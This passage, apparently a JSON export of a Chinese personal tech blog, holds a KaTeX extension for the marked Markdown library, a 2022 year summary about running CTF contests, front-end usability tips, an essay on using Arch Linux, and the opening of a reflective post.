class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erenderer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erenderToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eblockKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTokenizerAndRendererExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blockKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;block\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$$\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etokenizer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003e_tokens\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e/^\\$\\$+\\n([^$]+?)\\n\\$\\$/\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;blockKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eraw\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etext\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erenderer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edisplayMode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"sb\"\u003e`\u0026lt;p\u0026gt;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erenderToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etoken\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026lt;/p\u0026gt;`\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e保存到 \u003ccode\u003ekatex_extension.ts\u003c/code\u003e 中,使用时只需要导入后 \u003ccode\u003emarked.use(KatexExtension({}))\u003c/code\u003e 即可,参数中接收的是 Katex 的设置项。\u003c/p\u003e\n\u003cp\u003e如果需要 lazy load,也可以\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003eawait\u003c/span\u003e \u003cspan class=\"kr\"\u003eimport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@/path/to/katex_extension.ts\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003euse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003estrict\u003c/span\u003e: \u003cspan class=\"kt\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e}))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我先使用不带任何插件的 marked 将基础内容渲染出来,然后再加载katex与highlightJS重新渲染一遍,在某些网速不佳的环境下能提供更好的用户体验。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/marked_with_katex/"},{"title":"2022 年度小结","time":"2022-12-31T22:11:49+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"做了什么\"\u003e做了什么\u003c/h2\u003e\n\u003cp\u003e今年相比去年稍稍闲了一些,做了一些感觉很有意义的事情,继续坚持当一个理想主义者。\u003c/p\u003e\n\u003ch2 id=\"今年流水账\"\u003e今年流水账\u003c/h2\u003e\n\u003cp\u003e一月份在学校封控隔离,帮忙办了第一届西电寒假抗疫 CTF,期间手机坏了,新手机又因为封控送不进来,举着 iPad 做了一个月的核酸。\u003c/p\u003e\n\u003cp\u003e二月份在学校封控隔离,线上复盘比赛,开组会,最后终于成功回家。\u003c/p\u003e\n\u003cp\u003e三月份跟队友和友队一起办了D^3CTF,情况不错。\u003c/p\u003e\n\u003cp\u003e四月份不太平稳的退休,将 L-team 与 XDSEC 全权交给学弟学妹们,接手维护了取证资料站,在上面搭了一个 Git,并写了一些有关取证和取证软件开发的文档。\u003c/p\u003e\n\u003cp\u003e五月份开始筹备 Cyber Terminal,重新修了修 BitWave,举办了 Mini LCTF,写了两篇取证猫的开发文档。\u003c/p\u003e\n\u003cp\u003e六月份初步计划好了 Cyber Terminal 的架构,开了个头,胃出了点毛病,去医院跑了七八躺,做了胃镜,最后事情不大,存活。\u003c/p\u003e\n\u003cp\u003e七月份去华为实习,白天在华为高强度修代码,晚上回来爆肝 Cyber Terminal,一天只睡三个小时,差点4了。\u003c/p\u003e\n\u003cp\u003e八月份继续在华为实习,继续高强度修代码,继续每天只睡三小时,终于延期 10 天之后堪堪完工,并大致成功的举办了 MoeCTF 2022。\u003c/p\u003e\n\u003cp\u003e九月份复盘了比赛平台开发的一些事情,并决定了后续开发与重构路径,看了两篇有关反汇编与反编译算法的论文,开坑了 IERX。\u003c/p\u003e\n\u003cp\u003e十月份结束了保研相关的事情,走完了两场面试,在西电续费了 3 年,着手重构 Cyber Terminal,给 IERX 写了一个炫酷的启动界面,并给主界面架构和插件系统打了个底子。\u003c/p\u003e\n\u003cp\u003e十一月份继续重构 Cyber Terminal,给 Yoco 写了一个 Mock 后端,前端开了个头,发现队友的仓库已经很久没有动静了,也没有相关 API 文档,于是不了了之。\u003c/p\u003e\n\u003cp\u003e十二月份继续重构 Cyber Terminal,成功在重重疫情之下回家,然后回家第三天全国解封了,又过了几天阳了,高烧 39+ 烧了四天差点死掉,好在最后没啥事。\u003c/p\u003e\n\u003cp\u003e今年又是高强度办比赛写代码的一年~\u003c/p\u003e\n\u003cp\u003e总的来说我还挺满意,虽然中间经历了堪比地狱的两个月,但是今年总算是产出了一个稳定高性能的生产级别应用。\u003c/p\u003e\n\u003ch2 id=\"明年计划\"\u003e明年计划?\u003c/h2\u003e\n\u003cp\u003e继续完善 Cyber Terminal,剩下的事情还没想好,一步一步来吧,希望能继续作为一个不忘初心的理想主义者,写一些有趣的东西。\u003c/p\u003e\n\u003cp\u003eTo be continued.\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2022_summary/"},{"title":"Web前端开发需要注意的一些问题","time":"2022-12-12T10:59:46+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e一点记录,持续更新。\u003c/p\u003e\n\u003ch2 id=\"颜色主题遵循原生系统设置\"\u003e颜色主题遵循原生系统设置\u003c/h2\u003e\n\u003cp\u003e如果Web端有提供主题切换的话,默认主题应当遵循系统或者浏览器设置。\u003c/p\u003e\n\u003cp\u003e可以使用以下js片段获取浏览器/系统默认主题:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDarkMode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematchMedia\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematchMedia\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;(prefers-color-scheme: dark)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ematches\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"语言统一\"\u003e语言统一\u003c/h2\u003e\n\u003cp\u003e应当提供完善的i18n支持,但是对于某些专有名词和惯用约定不要乱翻译。\u003c/p\u003e\n\u003ch2 id=\"区分已访问链接与未访问链接\"\u003e区分已访问链接与未访问链接\u003c/h2\u003e\n\u003cp\u003e很多时候为了让链接的原本颜色与主题背景颜色区分开,我们都会重新设定链接的显示颜色。但是设定的时候通常会忘掉将已访问链接与未访问链接做一个区分,这样会影响可访问性。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e#0078D6\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003evisited\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"保证可交互元素的outline\"\u003e保证可交互元素的outline\u003c/h2\u003e\n\u003cp\u003e在使用键盘tab聚焦某个元素的时候,应当有outline或者其他的视觉变化标识这个元素被聚焦了。\u003c/p\u003e\n\u003ch2 id=\"内容页面需要具有独立的url\"\u003e内容页面需要具有独立的URL\u003c/h2\u003e\n\u003cp\u003e某些单页应用的多个页面切换不会更新URL,导致刷新或者将链接分享与他人的时候往往无法直接得到所需要的页面。\u003c/p\u003e\n\u003ch2 id=\"不应当有user-agent限制\"\u003e不应当有User-Agent限制\u003c/h2\u003e\n\u003cp\u003e实际上其他浏览器也能够正常浏览页面(骂的就是你,西电一站式服务大厅)。\u003c/p\u003e\n\u003ch2 id=\"对可交互元素改变鼠标指针\"\u003e对可交互元素改变鼠标指针\u003c/h2\u003e\n\u003cp\u003e而不是点到哪儿都是一个箭头。\u003c/p\u003e\n\u003ch2 id=\"不要使用js进行链接跳转\"\u003e不要使用js进行链接跳转\u003c/h2\u003e\n\u003cp\u003e浏览器支持悬浮预览URL,也支持中键在新标签页中打开等快速操作,不要到处搞\u003ccode\u003ediv\u003c/code\u003e然后用js监听事件并重写\u003ccode\u003elocation\u003c/code\u003e(骂的就是你,Bilibili)。\u003c/p\u003e\n\u003ch2 id=\"内容文本支持用户选择操作控件反之\"\u003e内容文本支持用户选择,操作控件反之\u003c/h2\u003e\n\u003cp\u003e对于展示内容的文本,要能够支持用户使用鼠标选中(骂的就是你,学习通);对于操作控件而言,其文本支持鼠标选中后会使样式看起来奇奇怪怪。\u003c/p\u003e\n\u003ch2 id=\"将-submit-操作包含在-html-form-中\"\u003e将 submit 操作包含在 HTML form 中\u003c/h2\u003e\n\u003cp\u003e对于一些网页表单,应当把 “提交” 按钮包括在表单之中,这样就可以通过 Tab 进行切换,而不需要用户。\u003c/p\u003e\n\u003cp\u003e在实现支持的情况下,可以在所有表单项均填写完毕时,支持回车直接提交表单。但是请不要在表单未填写完毕的时候支持回车提交,这样会很破坏用户的使用体验。\u003c/p\u003e\n\u003ch2 id=\"更多\"\u003e更多……\u003c/h2\u003e\n\u003cp\u003e还有什么想到的,以后再写吧。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/web_developing_principles/"},{"title":"关于使用 Linux Desktop","time":"2022-12-09T15:57:50+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e关于我为什么要用 Linux Desktop 这件事。只是写一点想法,无意参与所谓的 “操作系统圣战”,硬吹操作系统还要搞鄙视链的人多少有点魔怔。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e我目前的工作环境是 Arch Linux x86_64 with KDE Plasma Wayland。\u003c/p\u003e\n\u003cp\u003e说起 Arch,在网上一搜,基本上都充满了 “Arch Linux是世界上最好的操作系统!” “Arch性能超越Windows!” “只有闲着没事干的学生党才会用Arch” “有这折腾的功夫去学点有用的不好吗” “Arch不稳定,傻子才用” 之类的极端风评,像极了教徒圣战现场。实际上静心体验一段时间下来,感觉有时间发表这些言论的人才是真的闲得没事干,操作系统是给人用的,不同系统之间区别哪有那么大。\u003c/p\u003e\n\u003ch2 id=\"windows有啥不好的要用linux\"\u003eWindows有啥不好的,要用Linux?\u003c/h2\u003e\n\u003cp\u003e没啥不好的。从设计哲学上来看,Windows喜欢大一统,将各种功能集成与一身,然后又以 “一切皆为窗口” 的设计哲学,将所有的功能做成 GUI 提供给用户,让用户能够拿个鼠标点点点就能完成绝大多数任务,从各种意义上来说 Windows 都是一个很nb的操作系统。\u003c/p\u003e\n\u003cp\u003e从 WSL/WSL2 发布,再到 WSLg 和能直接运行安卓应用的 WSA,Windows上的开发体验也逐渐变得十分优秀,在这方面实在没什么好黑的。\u003c/p\u003e\n\u003cp\u003e我不用 Windows 的原因如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWindows 太复杂了。我一直不太玩的明白注册表、Windows事件之类的东西,在用上 WSL 之后,我连网卡配置都搞不定,遂放弃;\u003c/li\u003e\n\u003cli\u003e想自己动手搞定系统问题太难了。先不说网上弥漫着的CSDN垃圾和百度知道垃圾处处误导,Windows 自己本身出错也最多就给一个错误码,或者给一个没什么用的二维码,扫一下给个错误标志符,没有任何日志可以给用户看。如果上微软的社区去提问,大概率会得到 “重启一下” 之类的回答,或者就被晾在那儿90天,帖子自动锁定,然后在搜索引擎里留下一团垃圾,等下一个倒霉鬼搜索到之后点开一看,No Answer here。即使通过Windows事件日志找到了某些错误日志,读起来也很难受,而且读完了发现似乎不是我能搞定的,我也看不到 Windows 的源代码,于是只能寻找一些绕过错误的妥协方案;\u003c/li\u003e\n\u003cli\u003e行为不可控,或者说不完全可控。如果各位搭过代理的话,应该看见过大部分代理都会有的流量连接日志。在Linux下,我闲着的时候日志就是空的,我不动它不动。但是在 Windows 下面,即使我把我看得到的所有联网软件都给关掉,那个流量日志依旧跑个不停。这感觉就像请了一个管家,结果管家天天把家里的东西往外拿一样;\u003c/li\u003e\n\u003cli\u003e阻止奇怪的第三方软件倒垃圾太难了。这一块儿其实怨不着 Windows,单纯是厂商作恶。我就不点名有什么奇怪的杀毒软件、聊天软件会到处扫描个人文件和浏览器访问记录了。为了所谓的 “安全”,随便什么东西都要给 Windows 里塞一个驱动模块,还要以最高权限运行,生怕权限低了会被别人攻击,甚至还有某杀软在后台搞竞争……\u003c/li\u003e\n\u003cli\u003e开发者体验太差了。即使有 WSL 存在,我还是要说,毕竟 WSL 也是一个 Linux 开发环境,但总要写一些在原生 Windows 上跑的东西。任何一个 CMake 项目整下来,我都要为了各种库依赖、编译器特性折腾几圈,有时候写个Qt程序写了两天,为了让它成功链接到库上,再成功给打包成二进制花了一星期;\u003c/li\u003e\n\u003cli\u003e二进制库太混乱了。之前看过某取证软件的安装文件夹,里面大概有七八份一模一样的 Qt dll,还有一大堆 msvc 运行时,有时候有点怀疑,如果我能够把系统里所有的软件依赖库都给统一起来,我能省下来多少硬盘空间;\u003c/li\u003e\n\u003cli\u003e系统升级。我挺乐意升级系统的,希望能看见一些新东西,修一些奇怪的bug。但是Windows的升级体验只能说…… 每次升级都要仰着脸等着它转圈圈,然后重启若干次。\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003e不好看。这个其实比较主观,个人稍有一点观感洁癖,所以对Windows混搭了十几年的设计风格实在看不下去,怎么有系统可以同时具有02年08年13年22年的设计风格啊\u003c/del\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然这里面包含了不少我个人因素,例如更新之类的,如果你不更新的话就完全没有这个问题,所以看个乐呵。\u003c/p\u003e\n\u003ch2 id=\"arch-不稳定三天挂两次折腾自己干嘛\"\u003eArch 不稳定,三天挂两次,折腾自己干嘛\u003c/h2\u003e\n\u003cp\u003e我一直觉得你得先自己去体验体验,才有资格去评判某件事物。\u003c/p\u003e\n\u003cp\u003e我的 Arch 稳定跑了三四年了没出过问题,由于研究方向原因我没事还得调调系统环境,特殊情况下还得自己build内核,怎么没挂过?\u003c/p\u003e\n\u003ch2 id=\"那干嘛不用-mac\"\u003e那干嘛不用 Mac?\u003c/h2\u003e\n\u003cp\u003e部分闭源相关的原因和Windows相同,包括看不见源代码所以不能自己上手修之类的,更主要的原因是\u003cstrong\u003e没钱\u003c/strong\u003e。\u003c/p\u003e\n\u003ch2 id=\"linux-desktop-就没有问题吗\"\u003eLinux Desktop 就没有问题吗?\u003c/h2\u003e\n\u003cp\u003e有,问题多了去了,大bug不多,小bug不断。我这几年基本上每个星期都要往不同开源社区提一个issue,某些时候我甚至自己上手修,然后给对应的项目提pr,\u003cdel\u003e水贡献度\u003c/del\u003e。在没找到比较符合我使用习惯的音乐播放器之后,我还\u003ca href=\"https://github.com/Reverier-Xu/BitWave\" target=\"_blank\" rel=\"noopener noreffer \"\u003e自己写了一个\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"建议别人用什么操作系统\"\u003e建议别人用什么操作系统?\u003c/h2\u003e\n\u003cp\u003e没啥建议,如果你对 Windows 有很大意见,欢迎来体验一下 Linux Desktop。发行版的话随便挑一个,都差不多,都2022年了还有发行版不稳?\u003c/p\u003e\n\u003cp\u003e如果你觉得当前环境很舒适,也没有什么未来可预见的需求是当前操作系统用起来不舒服的,那就不要换,瞎折腾。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/about_linux_desktop/"},{"title":"2022.11.19 一点想法","time":"2022-11-19T01:49:27+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e现在是凌晨两点, 人精神的和鬼一样, 写点东西反思一下.\u003c/p\u003e\n\u003cp\u003e之前看过一句话, 记不太清了, 大意是“如果你觉得生活中处处带刺处处被针对那么大概是你自己出了毛病”, 那我现在可能确实有什么大病. 夜晚水群的时候被一位很好的朋友用*舟子这种sb来形容, 